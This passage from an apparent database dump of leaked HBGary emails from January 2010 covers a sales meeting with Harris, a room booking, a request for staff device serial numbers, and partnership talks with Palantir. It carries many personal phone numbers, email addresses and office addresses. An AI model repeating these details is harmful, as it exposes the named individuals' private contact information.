\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n&nbsp;\r\n\r\nThe meeting with Harris (Crucial) is on for 1pm today?&nbsp; What is\r\nthe location?&nbsp; Sounds like this is a typical HBGary products sales meeting,\r\nright?\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nBob \r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Thursday, January 07, 2010 9:06 AM\r\nTo: Bob Slapnik; Rich Cummings\r\nSubject: Fwd: Meeting tomorrow\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\nBegin forwarded message:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: mfox04@harris.com\r\nDate: January 7, 2010 9:08:31 AM EST\r\nTo: &quot;Aaron Barr&quot; &lt;aaron@hbgary.com&gt;\r\nSubject: Re: Meeting tomorrow\r\nReply-To: mfox04@harris.com\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nI\'d like to know about your tools and capabilities. 1pm\r\nstill works at your office. \r\n------Original Message------\r\nFrom: Aaron Barr\r\nTo: Fox, Michael (mfox04)\r\nSubject: Re: Meeting tomorrow\r\nSent: Jan 7, 2010 8:52 AM\r\n\r\n\r\nOk any specifics on what you would like to cover?\r\n\r\nAaron\r\n\r\nFrom my iPhone\r\n\r\nOn Jan 7, 2010, at 8:49 AM, mfox04@harris.com\r\nwrote:\r\n\r\n\r\n\r\n\r\nI can meet today. It\'s just going to be me, so maybe we\r\ndon\'t need\r\n\r\n\r\n\r\nto reshuffle them both.\r\n\r\n\r\n\r\n\r\n\r\n------Original Message------\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n\r\n\r\n\r\n\r\n\r\nTo: Fox, Michael (mfox04)\r\n\r\n\r\n\r\n\r\n\r\nSubject: Re: Meeting tomorrow\r\n\r\n\r\n\r\n\r\n\r\nSent: Jan 7, 2010 8:10 AM\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nMike,\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAre we a go for today? &nbsp;Rich and Bob and in different\r\nplaces today so\r\n\r\n\r\n\r\n\r\n\r\no would need to let th know very soon to pull them in to\r\ntysons this\r\n\r\n\r\n\r\n\r\n\r\nafternoon.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nThanks,\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom my iPhone\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOn Jan 6, 2010, at 10:59 AM, &quot;Fox, Michael\r\n(mfox04)&quot;\r\n\r\n\r\n\r\n\r\n\r\n&lt;mfox04@harris.com&gt;\r\nwrote:\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nI\'m a tentative yes. Vickie was checking on one more person\r\nfrom our\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nend. If he attends or not could influence what we do.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nMike Fox\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nW 703-961-9456 x142\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nC 703-338-9434\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nmfox@crucialsecurity.com\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nmfox04@harris.com\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n-----Original Message-----\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com]\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nSent: Wednesday, January 06, 2010 10:06 AM\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nTo: Fox, Michael (mfox04)\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nSubject: Meeting tomorrow\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHi Mike,\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAre we on for tomorrow?\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nMike Fox\r\n\r\n\r\n\r\n\r\n\r\nCrucial Security Programs\r\n\r\n\r\n\r\n\r\n\r\nHarris Corporation\r\n\r\n\r\n\r\n\r\n\r\n703-338-9434\r\n\r\n\r\n\r\n\r\n\r\n703-961-9456 x142\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nSent from my Verizion Wireless Blackberry\r\n\r\n\r\n\r\n\r\n\r\nMike Fox\r\nCrucial Security Programs\r\nHarris Corporation\r\n703-338-9434\r\n703-961-9456 x142\r\n\r\nSent from my Verizion Wireless Blackberry\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',1221,'aaron_hbgary_com/1221.html'),(1019,'2010-01-07','\"HQ Meeting Room Reservations\" <john.pedraza@regus.com>','/aaron@hbgary.com/new/1297000183.M660090P3547Q1019.eml','aaron@hbgary.com','HQ Meeting Room Confirmed Booking 8313260','\r\n			.Wrapper {width:600px;padding:3px;font-family:Tahoma;font-size:10pt}\r\n			.Heading {width:100%;background-color:#E0E0E0;color:#000000;font-weight:bold;padding:3px}\r\n			.Held {font-weight: bold;text-align:center}\r\n			.InvoiceFooter {font-weight: bold;text-align:center}\r\n\r\n			TABLE {border-collapse:collapse; font-size:10pt}\r\n			TABLE TD, TABLE TH {font-size:10pt}\r\n			TABLE TD {font-weight:normal}\r\n			TABLE TH {font-weight:bold;text-align:left}\r\n\r\n			TH, TD {padding:1px}\r\n			.TblD TD {width: 160px}\r\n\r\n			.TblS {width:98%}\r\n			.TblS TH {font-weight:bold}\r\n			.TblS TR.Hdr TD, .TblS TR.TTl TD {white-space:nowrap;font-weight:bold}\r\n			.TblS TD {font-weight:normal;vertical-align:top}\r\n			.TblS TR.GT TH {font-size: 120%}\r\n			.TblS TD, .TblS.TH {border:1px solid #C0C0C0;padding:3px}\r\n			.TblS TR.TTl TD {border-width:1px 0px 0px 0px}\r\n			ul {list-style-image:none;margin:0px}\r\n			ul li {font-size:8pt;list-style-image:disc;margin-left:32px}\r\n			ul li.Hdr {list-style-image:none;margin:0px}\r\n\r\n			div.RS , div.RE {border-color:#C0C0C0;border-style:solid;width:100%;height:3px;font-size:1px;margin:6px 0px 6px 0px}\r\n			div.RS {border-width: 1px 1px 0px 1px}\r\n			div.RE {border-width: 0px 1px 1px 1px}\r\n\r\n			div.Indent{padding: 0px 6px 0px 6px}\r\n\r\n			.Notes {font-size:8pt;font-style:italic;}\r\n		Thank you for confirming your booking with HQ. We are delighted to have the opportunity to help. Please find below your booking details.Confirmed Booking SummaryREFERENCE:\r\n				8313260Center:\r\n				VA, McLean - Corporate Ridge (HQ)Client:\r\n				HB GaryMeeting Room Details Start Date:\r\n						Thursday, January 07, 2010Start Time:\r\n						1:00 PMEnd Date:\r\n						Thursday, January 07, 2010End Time:\r\n						2:00 PMDelegates:\r\n						4Room Layout:\r\n							BoardroomWe are pleased to provide further information on the following services as requested:\r\n					QtyServiceRatePrice1Meeting Room (Room Rate)Includes 10.00% Discount$44.10$44.10TOTAL$44.10 Due to limited availability, and as a courtesy to other customers, we ask that you notify us if you no longer require the booking on the requested dates.* Please Note - prices do not include local tax. The price quoted excludes any prepayment.Please use the following details to contact us:\r\n		Booker:\r\n					John PedrazaPhone:\r\n				001 877-734-8787Email:\r\n				americas.reservations@regus.comFax:\r\n				001 214-295-3171HQ Location DetailsCenter:\r\n				VA, McLean - Corporate Ridge (HQ)Address:\r\n				2010 Corporate RidgeMcLeanVirginia22102United States of AmericaClick here for a mapPhone703 749 7700Fax703 749 7719EmailMcLean.ExecutivePlaza@regus.comYour Company DetailsClient:\r\n				HB GaryContact Name:\r\n				 Aaron BarrContact Tel:\r\n				719-510-8478Contact Email:\r\n				aaron@hbgary.comAddress:\r\n				3941 Park Dr #20-305EDH95762United States of AmericaYou have selected to pay by Payment Card.Disclaimer: Meeting room bookings which overrun or have delegates added at the point of Check In will have all additional charges calculated at the clients standard hourly rate.Thank you for contacting HQ. We look forward to welcoming you soon.The information in this email is confidential and may also be privileged. If you are not the intended recipient please notify us immediately.Please review the terms and conditions for HQ Global Workplaces, LLC ',10747,'aaron_hbgary_com/10747.html'),(1020,'2010-01-07','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000183.M851840P3547Q1020.eml','\"Bob Slapnik\" <bob@hbgary.com>','Re: Meeting tomorrow','Yep.  Corporate ridge drive address.From my iPhoneOn Jan 7, 2010, at 10:00 AM, &quot;Bob Slapnik&quot; &lt;bob@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n \r\n\r\nThe meeting with Harris (Crucial) is on for 1pm today?  What is\r\nthe location?  Sounds like this is a typical HBGary products sales meeting,\r\nright?\r\n\r\n \r\n\r\n\r\n\r\nBob \r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Thursday, January 07, 2010 9:06 AM\r\nTo: Bob Slapnik; Rich Cummings\r\nSubject: Fwd: Meeting tomorrow\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nFrom my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\nBegin forwarded message:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: mfox04@harris.com\r\nDate: January 7, 2010 9:08:31 AM EST\r\nTo: &quot;Aaron Barr&quot; &lt;aaron@hbgary.com&gt;\r\nSubject: Re: Meeting tomorrow\r\nReply-To: mfox04@harris.com\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nI&#39;d like to know about your tools and capabilities. 1pm\r\nstill works at your office. \r\n------Original Message------\r\nFrom: Aaron Barr\r\nTo: Fox, Michael (mfox04)\r\nSubject: Re: Meeting tomorrow\r\nSent: Jan 7, 2010 8:52 AM\r\n\r\n\r\nOk any specifics on what you would like to cover?\r\n\r\nAaron\r\n\r\nFrom my iPhone\r\n\r\nOn Jan 7, 2010, at 8:49 AM, mfox04@harris.com\r\nwrote:\r\n\r\n\r\n\r\n\r\nI can meet today. It&#39;s just going to be me, so maybe we\r\ndon&#39;t need\r\n\r\n\r\n\r\nto reshuffle them both.\r\n\r\n\r\n\r\n\r\n\r\n------Original Message------\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n\r\n\r\n\r\n\r\n\r\nTo: Fox, Michael (mfox04)\r\n\r\n\r\n\r\n\r\n\r\nSubject: Re: Meeting tomorrow\r\n\r\n\r\n\r\n\r\n\r\nSent: Jan 7, 2010 8:10 AM\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nMike,\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nAre we a go for today?  Rich and Bob and in different\r\nplaces today so\r\n\r\n\r\n\r\n\r\n\r\no would need to let th know very soon to pull them in to\r\ntysons this\r\n\r\n\r\n\r\n\r\n\r\nafternoon.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nThanks,\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nFrom my iPhone\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nOn Jan 6, 2010, at 10:59 AM, &quot;Fox, Michael\r\n(mfox04)&quot;\r\n\r\n\r\n\r\n\r\n\r\n&lt;mfox04@harris.com&gt;\r\nwrote:\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nI&#39;m a tentative yes. Vickie was checking on one more person\r\nfrom our\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nend. If he attends or not could influence what we do.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nMike Fox\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nW 703-961-9456 x142\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nC 703-338-9434\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nmfox@crucialsecurity.com\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nmfox04@harris.com\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n-----Original Message-----\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com]\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nSent: Wednesday, January 06, 2010 10:06 AM\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nTo: Fox, Michael (mfox04)\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nSubject: Meeting tomorrow\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHi Mike,\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAre we on for tomorrow?\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nMike Fox\r\n\r\n\r\n\r\n\r\n\r\nCrucial Security Programs\r\n\r\n\r\n\r\n\r\n\r\nHarris Corporation\r\n\r\n\r\n\r\n\r\n\r\n703-338-9434\r\n\r\n\r\n\r\n\r\n\r\n703-961-9456 x142\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nSent from my Verizion Wireless Blackberry\r\n\r\n\r\n\r\n\r\n\r\nMike Fox\r\nCrucial Security Programs\r\nHarris Corporation\r\n703-338-9434\r\n703-961-9456 x142\r\n\r\nSent from my Verizion Wireless Blackberry\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',10445,'aaron_hbgary_com/10445.html'),(1021,'2010-01-07','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297000184.M26876P3547Q1021.eml','\"Rich Cummings\" <rich@hbgary.com>,\"Phil Wallisch\" <phil@hbgary.com>,\"Rich Cummings\" <rich@hbgary.com>','1pm Harris meeting today','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nRich and Phil,\r\n\r\n&nbsp;\r\n\r\nAaron verified that the meeting with Harris is happening today\r\nat 1pm.&nbsp;&nbsp;&nbsp; All indications are that it will be a straight HBGary\r\nproduct presentation meeting.&nbsp; No details if focus is LE, malware, or\r\nenterprise.&nbsp; It might be Harris wanting to team with HBGary on an upcoming\r\nDC3 proposal.\r\n\r\n&nbsp;\r\n\r\nIn any case I need one of you to attend.&nbsp; I see this\r\nmeeting on both of your google schedules but I only need one of you to\r\nattend.&nbsp; \r\n\r\n&nbsp;\r\n\r\nLocation is the office share place at\r\n\r\n&nbsp;\r\n\r\n2010 Corporate Ridge\r\nSuite # 700\r\nMcLean, Virginia 22102\r\n\r\n&nbsp;\r\n\r\nPlease confirm which of you will be attending.&nbsp; Thanks.\r\n\r\n&nbsp;\r\n\r\nBob \r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',10926,'aaron_hbgary_com/10926.html'),(1022,'2010-01-07','\"DeeAnn Buonaccorsi\" <deeann@hbgary.com>','/aaron@hbgary.com/new/1297000184.M272743P3547Q1022.eml','\"Maria Lucas\" <maria@hbgary.com>,\"Rich Cummings\" <rich@hbgary.com>,\"Bob Slapnik\" <bob@hbgary.com>,\"Phil Wallisch\" <phil@hbgary.com>,\"Martin Pillion\" <martin@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>','phone serial Number','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nHi guys,\r\n\r\n&nbsp;\r\n\r\nCan I get the serial number on the back of your phones.&nbsp;\r\nI need them by the end of the day today if possible.&nbsp; I am having to\r\ncreate a list with all the serial number from all products. \r\n\r\n&nbsp;\r\n\r\n&nbsp;If you have purchased any computers, monitors,\r\nprinters or anything else with serial number I will need manufacturer name,\r\nmodel number, serial number details what the product is and any accessories the\r\nproduct came with.\r\n\r\n&nbsp;\r\n\r\nI need them by the end of the day today if possible.&nbsp; \r\n\r\n&nbsp;\r\n\r\nThanks,\r\n\r\n&nbsp;\r\n\r\nDeeAnn Buonaccorsi\r\n\r\nOffice\r\nManager\r\n\r\nHBGary,\r\nInc.\r\n\r\n3604\r\nFair Oaks Blvd.&nbsp; Suite 250\r\n\r\nSacramento,\r\nCA&nbsp; 95864\r\n\r\nTel:&nbsp;\r\n916-459-4727 ext. 101\r\n\r\nFax:\r\n916-481-1460\r\n\r\nEmail&nbsp;\r\ndeeann@hbgary.com\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',8517,'aaron_hbgary_com/8517.html'),(1023,'2010-01-07','\"Matthew Steckman\" <msteckman@palantirtech.com>','/aaron@hbgary.com/new/1297000184.M459112P3547Q1023.eml','aaron@hbgary.com','quick chat','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nWhen: Friday, January 08, 2010 11:30 AM-12:00 PM (GMT-05:00) Eastern Time (US &amp; Canada).\r\n&nbsp;\r\nNote: The GMT offset above does not reflect daylight saving time adjustments.\r\n&nbsp;\r\n*~*~*~*~*~*~*~*~*~*\r\n&nbsp;\r\n&nbsp;\r\n&nbsp;\r\n\r\n\r\n\r\n',15327,'aaron_hbgary_com/15327.html'),(1024,'2010-01-07','\"Matthew Steckman\" <msteckman@palantirtech.com>','/aaron@hbgary.com/new/1297000184.M650330P3547Q1024.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Conference Call','Aaron,\r\n\r\nCan you send me first and last name of those folks?  Just need it for their account submittal.\r\n\r\nYeah, we saw that IARPA thing.  They are basically asking for Palantir which is kind of odd.  We are going to respond with something like, \"Hey, this is already built, but we\'ll take your money for some R&D\"\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Thursday, January 07, 2010 8:02 AM\r\nTo: Matthew Steckman\r\nSubject: Re: Conference Call\r\n\r\nHey Matt,\r\n\r\nNo worries.  I think we will be able to turn something around pretty quickly here for integration, then just a matter of what do we want to demo.\r\n\r\nDevelopers:\r\nKam@hbgary.com\r\nmichael@hbgary.com\r\nscott@hbgary.com\r\nand if it is any benefit aaron@hbgary.com\r\n\r\nHow about Friday? I am open.\r\n\r\nAaron\r\n\r\nAlso,  do you know anything about the IARPA BAA, link listed below.  Maybe a bit of a stretch but it seems like there could be some applicability.\r\n\r\nhttp://www.iarpa.gov/solicitations_kdd.html\r\n\r\n\r\n\r\nOn Jan 6, 2010, at 6:09 PM, Matthew Steckman wrote:\r\n\r\n> Sorry I was sucky and late to the call.  Just forward me the email addresses of the developers on the call and Ill hook them up with our resources.  \r\n> \r\n> Let me know if you want to chat sometime this week.\r\n> \r\n> -Matt\r\n> \r\n> Matthew Steckman\r\n> Palantir Technologies | Forward Deployed Engineer\r\n> msteckman@palantirtech.com | 202-257-2270\r\n> \r\n> \r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n> Sent: Wednesday, January 06, 2010 4:37 PM\r\n> To: Matthew Steckman\r\n> Subject: Conference Call\r\n> \r\n> Hey Matt,\r\n> \r\n> We have a conference call scheduled for right now right?\r\n> \r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n> \r\n> \r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',10180,'aaron_hbgary_com/10180.html'),(1025,'2010-01-07','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000184.M833139P3547Q1025.eml','\"Matthew Steckman\" <msteckman@palantirtech.com>','Re: Conference Call','Ok will do.\r\n\r\nDo u have a partnership with netwitness?  I have this idea that a few\r\nsmall and compatible companies can make some serious headway.  What\r\nabout using something like that BSA to do the integration?  Palantir\r\nis the core with 2-4 other smalls that fit a piece of the puzzle?\r\n\r\nAaron\r\n\r\n From my iPhone\r\n\r\nOn Jan 7, 2010, at 5:57 PM, Matthew Steckman\r\n wrote:\r\n\r\n> Aaron,\r\n>\r\n> Can you send me first and last name of those folks?  Just need it\r\n> for their account submittal.\r\n>\r\n> Yeah, we saw that IARPA thing.  They are basically asking for\r\n> Palantir which is kind of odd.  We are going to respond with\r\n> something like, \"Hey, this is already built, but we\'ll take your\r\n> money for some R&D\"\r\n>\r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n> Sent: Thursday, January 07, 2010 8:02 AM\r\n> To: Matthew Steckman\r\n> Subject: Re: Conference Call\r\n>\r\n> Hey Matt,\r\n>\r\n> No worries.  I think we will be able to turn something around pretty\r\n> quickly here for integration, then just a matter of what do we want\r\n> to demo.\r\n>\r\n> Developers:\r\n> Kam@hbgary.com\r\n> michael@hbgary.com\r\n> scott@hbgary.com\r\n> and if it is any benefit aaron@hbgary.com\r\n>\r\n> How about Friday? I am open.\r\n>\r\n> Aaron\r\n>\r\n> Also,  do you know anything about the IARPA BAA, link listed below.\r\n> Maybe a bit of a stretch but it seems like there could be some\r\n> applicability.\r\n>\r\n> http://www.iarpa.gov/solicitations_kdd.html\r\n>\r\n>\r\n>\r\n> On Jan 6, 2010, at 6:09 PM, Matthew Steckman wrote:\r\n>\r\n>> Sorry I was sucky and late to the call.  Just forward me the email\r\n>> addresses of the developers on the call and Ill hook them up with\r\n>> our resources.\r\n>>\r\n>> Let me know if you want to chat sometime this week.\r\n>>\r\n>> -Matt\r\n>>\r\n>> Matthew Steckman\r\n>> Palantir Technologies | Forward Deployed Engineer\r\n>> msteckman@palantirtech.com | 202-257-2270\r\n>>\r\n>>\r\n>> -----Original Message-----\r\n>> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n>> Sent: Wednesday, January 06, 2010 4:37 PM\r\n>> To: Matthew Steckman\r\n>> Subject: Conference Call\r\n>>\r\n>> Hey Matt,\r\n>>\r\n>> We have a conference call scheduled for right now right?\r\n>>\r\n>> Aaron Barr\r\n>> CEO\r\n>> HBGary Federal Inc.\r\n>>\r\n>>\r\n>>\r\n>\r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n>\r\n>\r\n>\r\n',5915,'aaron_hbgary_com/5915.html'),(1026,'2010-01-07','\"Matthew Steckman\" <msteckman@palantirtech.com>','/aaron@hbgary.com/new/1297000185.M20579P3547Q1026.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Conference Call','Yeah, it makes sense.  We have spoken with Netwitness and the conversation went nowhere at the time.  We didn\'t have time to support it and likewise they didn\'t have time to do the integration.  Id say lets revisit this after the HBGary integration v0 is done so we have something to show and can demonstrate a good biz case.\r\n\r\nMatthew Steckman\r\nPalantir Technologies | Forward Deployed Engineer\r\nmsteckman@palantirtech.com | 202-257-2270\r\n\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Thursday, January 07, 2010 6:14 PM\r\nTo: Matthew Steckman\r\nSubject: Re: Conference Call\r\n\r\nOk will do.\r\n\r\nDo u have a partnership with netwitness?  I have this idea that a few\r\nsmall and compatible companies can make some serious headway.  What\r\nabout using something like that BSA to do the integration?  Palantir\r\nis the core with 2-4 other smalls that fit a piece of the puzzle?\r\n\r\nAaron\r\n\r\n From my iPhone\r\n\r\nOn Jan 7, 2010, at 5:57 PM, Matthew Steckman\r\n wrote:\r\n\r\n> Aaron,\r\n>\r\n> Can you send me first and last name of those folks?  Just need it\r\n> for their account submittal.\r\n>\r\n> Yeah, we saw that IARPA thing.  They are basically asking for\r\n> Palantir which is kind of odd.  We are going to respond with\r\n> something like, \"Hey, this is already built, but we\'ll take your\r\n> money for some R&D\"\r\n>\r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n> Sent: Thursday, January 07, 2010 8:02 AM\r\n> To: Matthew Steckman\r\n> Subject: Re: Conference Call\r\n>\r\n> Hey Matt,\r\n>\r\n> No worries.  I think we will be able to turn something around pretty\r\n> quickly here for integration, then just a matter of what do we want\r\n> to demo.\r\n>\r\n> Developers:\r\n> Kam@hbgary.com\r\n> michael@hbgary.com\r\n> scott@hbgary.com\r\n> and if it is any benefit aaron@hbgary.com\r\n>\r\n> How about Friday? I am open.\r\n>\r\n> Aaron\r\n>\r\n> Also,  do you know anything about the IARPA BAA, link listed below.\r\n> Maybe a bit of a stretch but it seems like there could be some\r\n> applicability.\r\n>\r\n> http://www.iarpa.gov/solicitations_kdd.html\r\n>\r\n>\r\n>\r\n> On Jan 6, 2010, at 6:09 PM, Matthew Steckman wrote:\r\n>\r\n>> Sorry I was sucky and late to the call.  Just forward me the email\r\n>> addresses of the developers on the call and Ill hook them up with\r\n>> our resources.\r\n>>\r\n>> Let me know if you want to chat sometime this week.\r\n>>\r\n>> -Matt\r\n>>\r\n>> Matthew Steckman\r\n>> Palantir Technologies | Forward Deployed Engineer\r\n>> msteckman@palantirtech.com | 202-257-2270\r\n>>\r\n>>\r\n>> -----Original Message-----\r\n>> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n>> Sent: Wednesday, January 06, 2010 4:37 PM\r\n>> To: Matthew Steckman\r\n>> Subject: Conference Call\r\n>>\r\n>> Hey Matt,\r\n>>\r\n>> We have a conference call scheduled for right now right?\r\n>>\r\n>> Aaron Barr\r\n>> CEO\r\n>> HBGary Federal Inc.\r\n>>\r\n>>\r\n>>\r\n>\r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n>\r\n>\r\n>\r\n',11930,'aaron_hbgary_com/11930.html'),(1027,'2010-01-08','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000185.M436094P3547Q1027.eml','\"Rich Cummings\" <rich@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>','Fwd: Conference Call','The BAA listed could be the one that pays for the operational integration.  I think we need one maybe two more smalls to round out the capability.  Maybe a samantic analysis company, etc.  More to think about.  But I think we can get this paid for if we pitch it cooperatively as cplementary capabilities that solve the big problem.\r\nWhatcha think?Aaron From my iPhoneBegin forwarded message:From: Matthew Steckman &lt;msteckman@palantirtech.com&gt;\r\nDate: January 7, 2010 6:16:51 PM ESTTo: Aaron Barr &lt;aaron@hbgary.com&gt;Subject: RE: Conference Call\r\nYeah, it makes sense.  We have spoken with Netwitness and the conversation went nowhere at the time.  We didn&#39;t have time to support it and likewise they didn&#39;t have time to do the integration.  Id say lets revisit this after the HBGary integration v0 is done so we have something to show and can demonstrate a good biz case.\r\nMatthew 